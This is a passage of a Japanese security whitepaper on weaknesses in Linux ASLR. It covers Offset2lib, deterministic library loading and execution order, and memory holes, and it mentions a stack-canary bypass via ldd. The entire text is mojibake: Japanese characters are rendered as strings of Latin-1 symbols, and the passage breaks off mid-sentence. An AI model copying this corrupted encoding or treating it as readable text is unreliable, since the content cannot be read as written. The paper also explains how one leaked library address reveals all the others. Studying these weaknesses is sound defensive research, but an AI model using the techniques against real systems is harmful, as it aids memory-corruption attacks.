
Linuxã«ãŒãã«ã¯ããµãŒããŒãšãŠãŒã¶ãŒãã·ã³ãã¢ãã€ã«ãã©ãããã©ãŒã ïŒAndroid OSïŒãããŸããŸãªã¹ããŒãããã€ã¹ã®äž¡æ¹ã§äžçäžã«åºã忣ããŠããŸãã Linuxã«ãŒãã«ã«ååšããéãã«ãŒãã«èªäœãšãŠãŒã¶ãŒã¢ããªã±ãŒã·ã§ã³ã®äž¡æ¹ã«ååšããå¯èœæ§ãããè匱æ§ã®æªçšããä¿è·ããããã«ãããŸããŸãªã¡ã«ããºã ãå°å
¥ãããŠããŸãã ãã®ãããªã¡ã«ããºã ã¯ãç¹ã«ASLRãšã¹ã¿ãã¯ã«ããªã¢ã§ãããã¢ããªã±ãŒã·ã§ã³ã®è匱æ§ã®æªçšã«å¯ŸæããŸãã
ãã®ãã¯ã€ãããŒããŒã§ã¯ãçŸåšã®ããŒãžã§ã³ïŒ4.15-rc1ïŒã®Linuxã«ãŒãã«ã§ã®ASLRã®å®è£
ã«ã€ããŠèª¬æããŸãã ãã®ä¿è·ãéšåçãŸãã¯å®å
šã«åé¿ããåé¡ãçºèŠãããŸããã åé¡ã®èª¬æãšãšãã«ãããã€ãã®ä¿®æ£ãææ¡ãããŠããŸãã ç¹å¥ãªãŠãŒãã£ãªãã£ãéçºãããèŠã€ãã£ãåé¡ãå®èšŒããããã«ã¬ãã¥ãŒãããŸããã ãã¹ãŠã®åé¡ã¯x86-64ã¢ãŒããã¯ãã£ã®ã³ã³ããã¹ãã§å¯ŸåŠãããŸãããLinuxã«ãŒãã«ã§ãµããŒããããŠããã»ãšãã©ã®ã¢ãŒããã¯ãã£ã§ã¯ãããããé¢é£ããŠããŸãã
ã¢ããªã±ãŒã·ã§ã³ãæ©èœããããã®å€ãã®éèŠãªæ©èœããŠãŒã¶ãŒç©ºéã«å®è£
ãããŠãããããASLRå®è£
ã¡ã«ããºã ã®åæäžã«ãGNU Libcã©ã€ãã©ãªïŒglibcïŒã®äžéšãåæãããã¹ã¿ãã¯ã«ããªã¢ã®å®è£
ã«é倧ãªåé¡ãèŠã€ãããŸããã ã¹ã¿ãã¯ã«ããªã¢ä¿è·ããã€ãã¹ããlddãŠãŒãã£ãªãã£ãä»ããŠä»»æã®ã³ãŒããå®è¡ã§ããŸããã
ãã®ããŒããŒã§ã¯ãã¢ããªã±ãŒã·ã§ã³ã®å®è¡æã«ASLRããã€ãã¹ããããŸããŸãªæ¹æ³ã«ã€ããŠèª¬æããŸãã
1. ASLR
ASLRïŒã¢ãã¬ã¹ç©ºéã¬ã€ã¢ãŠãã®ã©ã³ãã åïŒã¯ãäžéšã®ææ°ã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§äœ¿çšãããŠããç¹å®ã®ã¯ã©ã¹ã®è匱æ§ã®æªçšãè€éã«ããããã«èšèšãããæè¡ã§ãã ãã®æè¡ã®åºæ¬ååã¯ãæ»æè
ã«ç¥ãããŠããããã»ã¹ã¢ãã¬ã¹ã¢ãã¬ã¹ãæé€ããããšã§ãã ç¹ã«ãå¿
èŠãªã¢ãã¬ã¹ã¯æ¬¡ã®ãšããã§ãã
- å¶åŸ¡ãå®è¡å¯èœã³ãŒãã«è»¢éããŸãã
- ROPã¬ãžã§ããã®ãã§ãŒã³ãæ§ç¯ããïŒReturn Oriented ProgrammingïŒ1ïŒïŒ;
- ã¡ã¢ãªå
ã®éèŠãªå€ãèªã¿åãïŒäžæžãïŒããŸãã
ãã®ãã¯ãããžãŒã¯2005幎ã«Linuxåãã«åããŠå®è£
ãããŸããã Microsoft Windowsããã³Mac OSã§ã¯ãå®è£
ã¯2007幎ã«ç»å ŽããŸããã Linuxã§ã®ASLRå®è£
ã®é©åãªèª¬æã¯ãïŒ2ïŒã«ãããŸãã
ASLRã®ååšäžã«ããã®æè¡ãåé¿ããããã®ããŸããŸãªææ³ãäœæãããŸãããããã®äžã§æ¬¡ã®ã¿ã€ããåºå¥ã§ããŸãã
- ãã¢ãã¬ã¹ãªãŒã¯ã-äžéšã®è匱æ§ã«ãããæ»æè
ã¯æ»æã«å¿
èŠãªã¢ãã¬ã¹ãååŸã§ãããããASLRããã€ãã¹ã§ããŸãïŒ3ïŒã
- çžå¯Ÿã¢ãã¬ã¹æå®-ããã€ãã®è匱æ§ã«ãããæ»æè
ã¯ç¹å®ã®ã¢ãã¬ã¹ã«é¢ããããŒã¿ã«ã¢ã¯ã»ã¹ã§ããŸããããã«ãããASLRããã€ãã¹ãããŸãïŒ4ïŒã
- å®è£
ã®åŒ±ç¹-äžéšã®è匱æ§ã«ãããç¹å®ã®ASLRå®è£
ã®ãšã³ããããŒãŸãã¯ããããã£ãäœããããæ»æè
ãå¿
èŠãªã¢ãã¬ã¹ãæšæž¬ã§ããŸãïŒ5ïŒã
- ããŒããŠã§ã¢ã®å¯äœçš-ALSRããã€ãã¹ã§ããããã»ããµã®æ©èœïŒ6ïŒã
ç°ãªããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§ã¯ãASLRã®å®è£
ãéåžžã«ç°ãªããé²åããŠããããšã«æ³šæããŠãã ããã æè¿ã®å€æŽã¯ã2014幎ã«çºè¡šãããOffset2libïŒ7ïŒã®äœæ¥ã«é¢é£ããŠããŸãã ãã®äžã§ããã¹ãŠã®ã©ã€ãã©ãªãããã°ã©ã ã®ãã€ããªELFãã¡ã€ã«ã®ã€ã¡ãŒãžã«è¿æ¥ããŠãããããASLRããã€ãã¹ã§ããå®è£
äžã®åŒ±ç¹ãæããã«ãªããŸããã 解決çãšããŠãã©ã³ãã ã«éžæãããå¥ã®é åã§ã¢ããªã±ãŒã·ã§ã³ã®ELFãã¡ã€ã«ã®ã€ã¡ãŒãžãéžæããããšãææ¡ãããŸããã
2016幎4æãOffset2libã®äœæè
ãçŸåšã®å®è£
ãæ¹å€ããASLR-NGã§ãªãŒãžã§ã³ã¢ãã¬ã¹ãéžæããéã®ãšã³ããããŒãäžååã§ããããšã匷調ããŸããïŒ8ïŒã ãã ãããã以éããããã¯å
¬éãããŠããŸããã
çŸæç¹ã§Linuxã§å®è¡ãããŠããASLRã®çµæãæ€èšããŠãã ããã

2. Linuxäžã®ASLR
æåã®çµéšãšããŠãUbuntu 16.04.3 LTSïŒGNU / Linux 4.10.0-40-generic x86_64ïŒã«ææ°ã®æŽæ°ãã€ã³ã¹ããŒã«ããŠãã ããã çµæã¯ã3.18-rc7以éã®Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ãšã«ãŒãã«ããŒãžã§ã³ã«ããŸãäŸåããŸããã Linuxã³ãã³ãã©ã€ã³ã§ãless / proc / self / mapsããå®è¡ãããšã次ã®ãããªãã®ã衚瀺ãããŸãã
äŸã¯æ¬¡ã®ãšããã§ãã
- ãã€ããªã¢ããªã±ãŒã·ã§ã³ã®ããŒã¹ã¢ãã¬ã¹ïŒãã®äŸã§ã¯/ bin / less ïŒã¯5627a82bf000ãšããŠéžæãããŸã ã
- ããŒãéå§ã¢ãã¬ã¹ã¯5627aa2d4000ãšããŠéžæãããŸã ãããã¯ããã€ããªã¢ããªã±ãŒã·ã§ã³ã®æåŸã®ã¢ãã¬ã¹ã«ã©ã³ãã å€ïŒãã®å Žåã¯1de7000 ïŒ 5627aa2d4000â 5627a84ed000 ïŒãå ãããã® ïŒã§ãã x86-64ã®ã¢ãŒããã¯ãã£æ©èœã«ãããã¢ãã¬ã¹ã¯2 ^ 12ã«æããããŸãã
- ã¢ãã¬ã¹7f3631293000ãmmap_baseãšããŠéžæãããŸãããã®ã¢ãã¬ã¹ã¯ãmmapã·ã¹ãã ã³ãŒã«ã䜿çšããŠã¡ã¢ãªãå²ãåœãŠãããã®ãã©ã³ãã ãã¢ãã¬ã¹ãéžæãããšãã«ãå¯èœãªéãé«ãå¢çã«ãªããŸãã
- ã©ã€ãã©ãªld-2.23.soãlibtinfo.so.5.9ãlibc-2.23.soã¯äžåã«äžŠãã§ããŸãã
æžç®ã飿¥ã¡ã¢ãªé åã«é©çšãããšããã€ããªãã¡ã€ã«ãããŒããã¹ã¿ãã¯ãããã³ããŒã«ã«ã¢ãŒã«ã€ãã®äžäœã¢ãã¬ã¹ãšldã®äžäœã¢ãã¬ã¹ã«å€§ããªéããããããšã«æ°ä»ãã§ãããã ããŒããããã©ã€ãã©ãªïŒãã¡ã€ã«ïŒéã«åäžã®ç©ºãããŒãžã¯ãããŸããã
æé ãäœåºŠãç¹°ãè¿ããŠããç»åã¯ããã»ã©å€ãããŸãããããŒãžéã®éãã¯ç°ãªããŸãããã©ã€ãã©ãªãšãã¡ã€ã«ã¯çžäºã«çããé
眮ãããŸãã ãã®äºå®ã¯ããã®èšäºã®ãªãã¡ã¬ã³ã¹ãã€ã³ãã«ãªããŸããã
3.ãªããããªã®ã
ä»®æ³ããã»ã¹ã®ã¡ã¢ãªå²ãåœãŠã®ã¡ã«ããºã ãã©ã®ããã«æ©èœããããèããŠã¿ãŸãããã ãã¹ãŠã®ããžãã¯ã¯do_mmapã«ãŒãã«é¢æ°ã«ããããŠãŒã¶ãŒåŽïŒsyscall mmap ïŒãšã«ãŒãã«åŽïŒ execveã®å®è¡æïŒã®äž¡æ¹ããã¡ã¢ãªå²ãåœãŠãå®è£
ããŸãã ããã¯2ã€ã®ã¢ã¯ã·ã§ã³ã«åãããŠããŸã-æåã«é©åãªç©ºãã¢ãã¬ã¹ïŒ get_unmapped_area ïŒãéžæããæ¬¡ã«éžæããã¢ãã¬ã¹ã«ããŒãžããããã³ã°ããŸãïŒ mmap_region ïŒã æåã®æ®µéã«èå³ããããŸãã
äœæã®éžæã§ã¯ã次ã®ãªãã·ã§ã³ãå¯èœã§ãã
- MAP_FIXEDãã©ã°ãèšå®ãããŠããå Žåã addråŒæ°ã®å€ãã¢ãã¬ã¹ãšããŠè¿ãããŸãã
- addråŒæ°ã®å€ããŒã以å€ã®å Žåãããã³ãããšããŠäœ¿çšãããå Žåã«ãã£ãŠã¯ãã®å€ãéžæãããŸãã
- ã¢ãã¬ã¹ãšããŠã空ãé åã®æå€§ã¢ãã¬ã¹ãéžæãããé·ããé©åã§ãéžæãããã¢ãã¬ã¹ã®èš±å®¹ç¯å²å
ã«ãããŸãã
- ã¢ãã¬ã¹ã¯ã»ãã¥ãªãã£å¶éã®ããã«ãã§ãã¯ãããŸãïŒåŸã§ããã«æ»ããŸããã»ã¯ã·ã§ã³7.3ïŒã
ãã¹ãŠãããŸããã£ãå Žåãç®çã®ã¡ã¢ãªé åãéžæããã¢ãã¬ã¹ã«å²ãåœãŠãããŸãã
ã¢ãã¬ã¹éžæã¢ã«ãŽãªãºã ã®è©³çް
ããã»ã¹ä»®æ³ã¡ã¢ãªãããŒãžã£ã¯ã vm_area_structæ§é äœïŒä»¥éãåã«vmaïŒã«åºã¥ããŠããŸãã
struct vm_area_struct { unsigned long vm_start; unsigned long vm_end; ... struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... pgprot_t vm_page_prot; ... };
ãã®æ§é ã¯ãä»®æ³ã¡ã¢ãªã®é åã®å§ãŸããé åã®çµãããããã³é åå
ã®ããŒãžã®ã¢ã¯ã»ã¹ãã©ã°ãèšè¿°ããŸãã
vma㯠ãå°åã®å§ãŸãã®ã¢ãã¬ã¹ãå¢ããããšã«ãããäºéã«ãªã³ã¯ããããªã¹ãïŒ9ïŒã«ç·šæãããŸãã ãŸããæ¡åŒµãããèµ€é»ããªãŒïŒ10ïŒã§ããé åã®å
é ã®æé ã¢ãã¬ã¹ã§ã ãã®ãœãªã¥ãŒã·ã§ã³ã®æ£åœãªçç±ã¯ãã«ãŒãã«éçºè
èªèº«ã«ãã£ãŠäžããããŠããŸãïŒ11ïŒã
ã¢ãã¬ã¹ã®æé ã§äºéã«ãªã³ã¯ãããvmaãªã¹ãã®äŸïŒ

èµ€é»ããªãŒã®æ¡åŒµã¯ãåé¡ã®ããŒãã®ç©ºãã¡ã¢ãªã®éã§ãã ããŒãã®ç©ºãã¡ã¢ãªã®éã¯ãæå€§å€ãšããŠæ±ºå®ãããŸãã
- æé ã®äºéãªã³ã¯ãªã¹ãå
ã®çŸåšã®vmaã®éå§ãšãã®åã®çµäºã®å·®ããã
- å·ŠãµãããªãŒã®ç©ºãã¡ã¢ãªã®éã
- é©åãªãµãããªãŒã®ç©ºãã¡ã¢ãªã®å€ã
æ¡åŒµãããèµ€é»æšvmaã®äŸïŒ

éžæããæ§é ã«ãããç®çã®ã¢ãã¬ã¹ã«å¯Ÿå¿ããvmaããã°ããïŒOïŒlog nïŒã§ïŒèŠã€ããããç¹å®ã®é·ãã®èªç±ãªç¯å²ãéžæã§ããŸãã
ã¢ãã¬ã¹ãéžæãããšãã2ã€ã®éèŠãªå¢çãå°å
¥ãããŸããå¯èœãªéãäœãå€ãšãå¯èœãªéãé«ãå€ã§ãã äžäœã®ã¢ãã¬ã¹ã¯ãæå°èš±å®¹ã¢ãã¬ã¹ãŸãã¯ã·ã¹ãã 管çè
ã蚱容ããæå°ã¢ãã¬ã¹ãšããŠã¢ãŒããã¯ãã£ã«ãã£ãŠå®çŸ©ãããŸãã äžçªäžã®mmap_baseã¯stack-randomãšããŠéžæãããŸã ãstackã¯éžæãããæå€§ã¹ã¿ãã¯ã¢ãã¬ã¹ãrandomã¯å¯Ÿå¿ããã«ãŒãã«ãã©ã¡ãŒã¿ãŒã«å¿ããŠ28ã32ãããã®ãšã³ããããŒãæã€ã©ã³ãã ãªå€ã§ãã Linuxã«ãŒãã«ã¯mmap_baseããäžã®ã¢ãã¬ã¹ãéžæã§ããŸããã ããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã§ã倧ããªmmap_baseã§ããã¢ãã¬ã¹ã¯ãã¹ã¿ãã¯ããã³ç¹å¥ãªã·ã¹ãã é å-vvarããã³vdsoã«å¯Ÿå¿ãããã MMAP_FIXEDãã©ã°ã§æç€ºçã«å²ãåœãŠãããªãéããæ±ºããŠäœ¿çšãããŸããã
ã¹ããŒã å
šäœã§ã¯ãã¡ã€ã³ã¹ã¬ããã¹ã¿ãã¯ã®éå§ã¢ãã¬ã¹ãã¢ããªã±ãŒã·ã§ã³ãã€ããªãã¡ã€ã«ãããŒãããããŒã¹ã¢ãã¬ã¹ãã¢ããªã±ãŒã·ã§ã³ããŒãã®éå§ã¢ãã¬ã¹ãããã³mmap_base ïŒ mmapã䜿çšããã¡ã¢ãªå²ãåœãŠã®éå§ã¢ãã¬ã¹ïŒã¯äžæã§ãã
4.ãªãæªãã®ã
説æããã¡ã¢ãªå²ãåœãŠã¢ã«ãŽãªãºã ã«ã¯ãããã€ãã®åé¡ããããŸãã
4.1ã¡ã¢ãªäœçœ®ãéãã
åäœäžãã¢ããªã±ãŒã·ã§ã³ã¯ä»®æ³RAMã䜿çšããŸãã ã¢ããªã±ãŒã·ã§ã³ã«ããã¡ã¢ãªäœ¿çšã®äžè¬çãªäŸã¯ãããŒããããã¢ãžã¥ãŒã«ã®ããŒããã³ãŒããšããŒã¿ïŒ.rodataã.bssïŒãã¹ããªãŒã ã¹ã¿ãã¯ãããŒãããããã¡ã€ã«ã§ãã ãããã®ããŒãžã«ããããŒã¿ã®åŠçãšã©ãŒã¯ãè¿ãã®ããŒã¿ã«åœ±é¿ãäžããå¯èœæ§ããããŸãã ç°çš®ããŒãžãè¿ãã«ããã»ã©ãæ»æå¯Ÿè±¡é åã倧ãããªããæäœãæåããå¯èœæ§ãé«ããªããŸãã
ãã®ãããªãšã©ãŒã®äŸãšããŠã¯ãå¢çåŠçã®ãšã©ãŒïŒç¯å²å€ïŒ4ïŒïŒããªãŒããŒãããŒïŒæŽæ°ïŒ12ïŒãŸãã¯ãããã¡ãŒïŒ13ïŒïŒãã¿ã€ãåŠçãšã©ãŒïŒã¿ã€ãã®æ··ä¹±ïŒ14ïŒïŒããããŸãã
ãã®åé¡ã®ç¹æ®ãªã±ãŒã¹ã¯ãïŒ7ïŒã§èª¬æãããŠããOffset2libæ»æã®è匱æ§ã§ãã èŠããã«ãåé¡ã¯ãããã°ã©ã ã®ããŒã¹ããŒãã¢ãã¬ã¹ãã©ã€ãã©ãªãšã¯å¥ã«å²ãåœãŠããããã«ãŒãã«ã«ãã£ãŠmmap_baseãšããŠéžæãããããšã§ãã ã¢ããªã±ãŒã·ã§ã³ã«è匱æ§ããã£ãå ŽåãããŒããããã©ã€ãã©ãªã®ã€ã¡ãŒãžãããŒãããããã€ããªã¢ããªã±ãŒã·ã§ã³ã®ã€ã¡ãŒãžã«è¿ããããæªçšãç°¡çŽ åãããŸããã
ãã®åé¡ãå®èšŒããéåžžã«è¯ãäŸã¯ãPHPïŒ15ïŒã®è匱æ§ã§ãããã«ãã飿¥ã¡ã¢ãªé åã®èªã¿åããŸãã¯å€æŽãå¯èœã«ãªããŸããã
ã»ã¯ã·ã§ã³5ã§ã¯ãããã€ãã®äŸã瀺ããŸãã
4.2確å®çãªã©ã€ãã©ãªã®ããŒãæ¹æ³
Linuxã«ãŒãã«ã«ã¢ã¯ã»ã¹ããªããŠããLinuxã§ã®åçã©ã€ãã©ãªã®ããŒãã¯ã»ãŒå®å
šã«è¡ãããŸãã ldã©ã€ãã©ãªïŒGNU LibcããïŒããããæ
åœããŸãã ã«ãŒãã«ã®åå ã¯mmap颿°ã®ã¿ã§ãïŒopen / statããã³ãã®ä»ã®ãã¡ã€ã«æäœã«ã€ããŠã¯ãŸã èæ
®ããŠããŸããïŒãããã¯ãã³ãŒããšã©ã€ãã©ãªããŒã¿ãããã»ã¹ã¢ãã¬ã¹ç©ºéã«èªã¿èŸŒãããã«å¿
èŠã§ãã äŸå€ã¯ldã©ã€ãã©ãªèªäœã§ããããã¯éåžžããã¡ã€ã«ãããŒãããããã®ã€ã³ã¿ãŒããªã¿ãŒãšããŠããã°ã©ã ã®ELFå®è¡å¯èœãã¡ã€ã«ã«æžã蟌ãŸããŸãã ã€ã³ã¿ãŒããªã¿ãŒèªäœã«ã«ãŒãã«ãããŒããããŸãã
ãããã£ãŠãGNU Libcã®ldãã€ã³ã¿ãŒããªã¿ãŒãšããŠäœ¿çšãããå Žåãã©ã€ãã©ãªãŒã¯ã»ãŒæ¬¡ã®ããã«ããŒããããŸãã
- ããã°ã©ã ELFãã¡ã€ã«ãåŠçæžã¿ãã¡ã€ã«ã®ãã¥ãŒã«è¿œå ãããŸãã
- æåã®ELFãã¡ã€ã«ïŒFIFOïŒã¯ãåŠçæžã¿ãã¡ã€ã«ã®ãã¥ãŒããåé€ãããŸãã
- ãã¡ã€ã«ãããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã«ãŸã ããŒããããŠããªãå Žåãmmapã䜿çšããŠããŒããããŸãã
- åé¡ã®ãã¡ã€ã«ã«å¿
èŠãªåã©ã€ãã©ãªã¯ãåŠçæžã¿ãã¡ã€ã«ã®ãã¥ãŒã«è¿œå ãããŸãã
- ãã¥ãŒã空ã§ãªãé-ã¹ããã2ãç¹°ãè¿ãå¿
èŠããããŸãã
ãã®ã¢ã«ãŽãªãºã ãããèªã¿èŸŒã¿é åºã¯åžžã«æ±ºå®ããããã¹ãŠã®å¿
èŠãªã©ã€ãã©ãªïŒãããã®ãã€ããªãã¡ã€ã«ïŒãããã£ãŠããå Žåã¯ç¹°ãè¿ãããšãã§ããŸãã ããã«ãããå°ãªããšã1ã€ã®ã©ã€ãã©ãªã®ã¢ãã¬ã¹ãããã£ãŠããå Žåããã¹ãŠã®ã©ã€ãã©ãªã®ã¢ãã¬ã¹ã埩å
ã§ããŸãã
- libcã©ã€ãã©ãªã®ã¢ãã¬ã¹ãããã£ãŠãããšããŸãã
- libcã©ã€ãã©ãªã®é·ããlibcããŠã³ããŒãã¢ãã¬ã¹ã«è¿œå ããlibcã®åã«ããŒããããã©ã€ãã©ãªã®ããŒãã¢ãã¬ã¹ãååŸããŸãã
- ãã®æ¹æ³ã§èšç®ãç¶ãããšãmmap_baseã®å€ãšãlibcã®åã«ããŒããããã©ã€ãã©ãªã®ã¢ãã¬ã¹ãååŸãããŸãã
- libcã¢ãã¬ã¹ããlibcã®åŸã«ããŒããããã©ã€ãã©ãªã®é·ããåŒããŸãã libcã®åŸã«ããŒããããã©ã€ãã©ãªã®ã¢ãã¬ã¹ãååŸããŸãã
- ãã®æ¹æ³ã§èšç®ãç¶ãããšãldã€ã³ã¿ãŒããªã¿ãŒã䜿çšããŠãããã°ã©ã ã®èµ·åæã«èªã¿èŸŒãŸãããã¹ãŠã®ã©ã€ãã©ãªã®ã¢ãã¬ã¹ãååŸããŸãã
ããã°ã©ã ã®å®è¡äžã«ã©ã€ãã©ãªãããŒããããå ŽåïŒããšãã°ãdlopen颿°ã䜿çšïŒãä»ã®ã©ã€ãã©ãªãšã®çžå¯Ÿçãªäœçœ®ãæ»æè
ã«ç¥ãããªãå ŽåããããŸãã ããšãã°ãå²ãåœãŠãããã¡ã¢ãªé åã®ãµã€ãºãæ»æè
ã«ãšã£ãŠæªç¥ã®mmapåŒã³åºãããã£ãå Žåã
è匱æ§ãæªçšããå Žåãã©ã€ãã©ãªã¢ãã¬ã¹ãç¥ãããšã¯ãããšãã°ãROPãã§ãŒã³ãæ§ç¯ãããšãã«ãã¬ãžã§ããããèŠã€ããã®ã«åœ¹ç«ã¡ãŸãã ããã«ãã©ã€ãã©ãªã次ã
ãšç§»åããããããã®ã©ã€ãã©ãªã®ã¢ãã¬ã¹ã«é¢é£ããå€ã®èªã¿åãïŒæžã蟌ã¿ïŒãèš±å¯ããã©ã€ãã©ãªã®è匱æ§ã¯ç°¡åã«æªçšãããŸãã
ã»ãšãã©ã®Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«ã¯ãæãäžè¬çãªã©ã€ãã©ãªïŒlibcãªã©ïŒãå«ãã³ã³ãã€ã«æžã¿ããã±ãŒãžãå«ãŸããŠããŸãã ããã«ãããäžèšã®å Žåã«ããã»ã¹ã®ä»®æ³ã¢ãã¬ã¹ç©ºéã®åæ£ãã¿ãŒã³ã®äžéšãæ§ç¯ãããšãã«ãã©ã€ãã©ãªã®é·ãã«é¢ããç¥èãåŸãããŸãã
çè«çã«ã¯ãldãlibcãlibpthreadãlibmã©ã€ãã©ãªãªã©ã®ããŒãžã§ã³ãå«ãUbuntuãã£ã¹ããªãã¥ãŒã·ã§ã³ãªã©ã®å€§èŠæš¡ãªããŒã¿ããŒã¹ãæ§ç¯ã§ããŸãããŸããã©ã€ãã©ãªã®1ã€ã®ããŒãžã§ã³ããšã«ãããã«å¿
èŠãªã©ã€ãã©ãªã®å€ãã®ããŒãžã§ã³ãå®çŸ©ã§ããŸãïŒäŸåé¢ä¿ïŒã ãããã£ãŠãã©ã€ãã©ãªã®1ã€ã®æ¢ç¥ã®ã¢ãã¬ã¹ã䜿çšããŠãããã»ã¹ã¢ãã¬ã¹ç©ºéã®äžéšã®åæ£ãããã®å¯èœãªããªã¢ã³ããæ§ç¯ããããšãã§ããŸãã
ãã®ãããªããŒã¿ããŒã¹ã®äŸãšããŠã¯ã libcdb.comããã³libc.blukat.meããŒã¿ããŒã¹ããããŸã ããããã®ããŒã¿ããŒã¹ã¯ ãæ¢ç¥ã®æ©èœãžã®ãªãã»ããã«ãã£ãŠlibcããŒãžã§ã³ãå€å¥ããããã«äœ¿çšãããŸãã
ãããŸã§èª¬æããŠããããšãããã©ã€ãã©ãªãããŒãããæ±ºå®è«çãªé åºã¯ã¢ããªã±ãŒã·ã§ã³ã»ãã¥ãªãã£ã®åé¡ã§ããããã®å€ã¯åè¿°ã®mmapã®åäœãšãšãã«å¢å ããããšã«ãªããŸãã Androidã§ã¯ããã®åé¡ã¯ããŒãžã§ã³7ïŒ16ïŒïŒ17ïŒããä¿®æ£ãããŸããã
4.3確å®çãªå®è¡é åº
ããã°ã©ã ã®æ¬¡ã®ç¹æ§ãèæ
®ããŠãã ãããããã°ã©ã ãããŒã«ã¯ç¹å®ã®ãã€ã³ãã®ãã¢ãããããããã®éã§ãé¢å¿ã®ããããŒã¿ã®ããã°ã©ã ã®ç¶æ
ãæ±ºå®ãããŸãã ããšãã°ãã¯ã©ã€ã¢ã³ãããããã¯ãŒã¯ãµãŒãã¹ã«æ¥ç¶ãããšãåŸè
ã¯ã¯ã©ã€ã¢ã³ãã«ããã€ãã®ãªãœãŒã¹ãå²ãåœãŠãŸãã ãããã®ãªãœãŒã¹ã®äžéšã¯ãã¢ããªã±ãŒã·ã§ã³ããŒãããå²ãåœãŠãããšãã§ããŸãã ãã®å Žåãã»ãšãã©ã®å ŽåãããŒãäžã®ãªããžã§ã¯ãã®çžå¯Ÿäœçœ®ã決å®ãããŸãã
ãã®ããããã£ã¯ãããã°ã©ã ã®å¿
èŠãªç¶æ
ãæ§ç¯ãããšãã«ãã¢ããªã±ãŒã·ã§ã³ã®æäœäžã«äœ¿çšãããŸãã ããã確å®å®è¡é åºãšåŒã³ãŸãã
ãã®ããããã£ã®ç¹æ®ãªã±ãŒã¹ã¯ãããã°ã©ã ãããŒã®ç¹å®ã®æç¢ºãªãã€ã³ãã§ãããã®ãã€ã³ãã§ã¯ãããã°ã©ã å®è¡ã®éå§ããéå§ãŸã§ïŒãã€ã³ãïŒãäžéšã®å€æ°ãé€ããŠãã®ç¶æ
ã¯åäžã§ãã ããšãã°ãããã°ã©ã ã®ã¡ã€ã³é¢æ°ãå®è¡ããåã«ãldã€ã³ã¿ãŒããªã¿ãŒã¯ãã¹ãŠã®ã©ã€ãã©ãªãããŒãããŠåæåããããã°ã©ã ãåæåããå¿
èŠããããŸãã ã»ã¯ã·ã§ã³4.2ã§è¿°ã¹ãããã«ãã©ã€ãã©ãªã®çžå¯Ÿçãªå Žæã¯åžžã«åãã§ãã ã¡ã€ã³é¢æ°ã®å®è¡æã®éãã¯ããã®ã¡ã¢ãªå
ã®ãã®ã¡ã¢ãªã«å²ãåœãŠãããŠããããã°ã©ã ãã©ã€ãã©ãªãã¹ã¿ãã¯ãããŒããããã³ãªããžã§ã¯ãã®ç¹å®ã®ã¢ãã¬ã¹ã«ãããŸãã éãã¯ãã»ã¯ã·ã§ã³6ã§èª¬æãããŠããã©ã³ãã åã«ãããã®ã§ãã
ãã®ããããã£ã«ãããæ»æè
ã¯ããã°ã©ã ããŒã¿ã®çžå¯Ÿäœçœ®ã«é¢ããæ
å ±ãååŸã§ããŸãã ãã®å Žæã¯ãããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã®ã©ã³ãã åã«äŸåããŸããã
ãã®æ®µéã§å¯äžå¯èœãªãšã³ããããŒã¯ããããŒã®ç«¶åãåå ã§ããå¯èœæ§ããããŸããããã°ã©ã ãè€æ°ã®ãããŒãäœæããå ŽåãããŒã¿ãæäœããéã®ç«¶åã«ãããªããžã§ã¯ãã®å Žæã«ãšã³ããããŒãå°å
¥ãããå¯èœæ§ããããŸãã ãã®äŸã§ã¯ã mainãå®è¡ããåã«ãããã°ã©ã ã®ã°ããŒãã«ã³ã³ã¹ãã©ã¯ã¿ãŒãŸãã¯å¿
èŠãªã©ã€ãã©ãªããã¹ã¬ãããäœæã§ããŸãã
ããã°ã©ã ãããŒãã®äœ¿çšãéå§ããã¡ã¢ãªãå²ãåœãŠãïŒéåžžã¯new / mallocã䜿çšããïŒãšãããŒãäžã®ãªããžã§ã¯ãã®çžå¯Ÿçãªäœçœ®ããç¹å®ã®ãã€ã³ããŸã§åèµ·åã«å¯ŸããŠäžå®ã«ãªããŸãã
å Žåã«ãã£ãŠã¯ãäœæãããã¹ã¬ãããšãããã®ããã«äœæãããããŒãã®ã¹ã¿ãã¯ã¯ãã©ã€ãã©ãªã¢ãã¬ã¹ã«é¢ããŠãäºæž¬å¯èœã§ãã
å¿
èŠã«å¿ããŠããããã®ãªãã»ãããååŸããŠæäœäžã«äœ¿çšã§ããŸãã ããšãã°ãç¹å®ã®ã¢ããªã±ãŒã·ã§ã³ã«å¯ŸããŠãstrace -e mmapãã2åå®è¡ããã¢ãã¬ã¹ã®éããæ¯èŒããŸãã
4.4穎
ã¢ããªã±ãŒã·ã§ã³ãmmapã䜿çšããŠã¡ã¢ãªãå²ãåœãŠãåŸããã®äžéšãè§£æŸãããšãã穎ããçºçããå¯èœæ§ããããŸã-å æé åã«å²ãŸãã空ãã¡ã¢ãªé åã ãã®ã¡ã¢ãªïŒããŒã«ïŒãè匱ãªãªããžã§ã¯ãïŒåŠçäžã«ã¢ããªã±ãŒã·ã§ã³ã«äœããã®è匱æ§ãæã€ãªããžã§ã¯ãïŒã«å床å²ãåœãŠããããšãåé¡ãçºçããå¯èœæ§ããããŸãã ããããã¡ã¢ãªå
ã®ãªããžã§ã¯ãã®è¿æ¥æ§ã®åé¡ã«ã€ãªãããŸãã
ãã®ãããªããŒã«ãäœæããè¯ãäŸã¯ãLinuxã«ãŒãã«ã®ELFãã¡ã€ã«ã®ããŒãã³ãŒãã§èŠã€ãããŸããã ELFãã¡ã€ã«ãããŒããããšããã«ãŒãã«ã¯æåã«ããŠã³ããŒããããã¡ã€ã«ã®ãã«ãµã€ãºãèªã¿åãã do_mmapã䜿çšããŠãã¡ã€ã«å
šäœã衚瀺ããããšããŸãã ãã¡ã€ã«å
šäœã®ããŠã³ããŒããæåãããšãæåã®ã»ã°ã¡ã³ã以éã®ãã¹ãŠã®ã¡ã¢ãªãè§£æŸãããŸãã æ¬¡ã®ã»ã°ã¡ã³ãã¯ãã¹ãŠãæåã®ã»ã°ã¡ã³ãã«å¯ŸããŠååŸãããåºå®ã¢ãã¬ã¹ïŒ MAP_FIXED ïŒã«ããŒããããŸãã ããã¯ãéžæããã¢ãã¬ã¹ã§ãã¡ã€ã«å
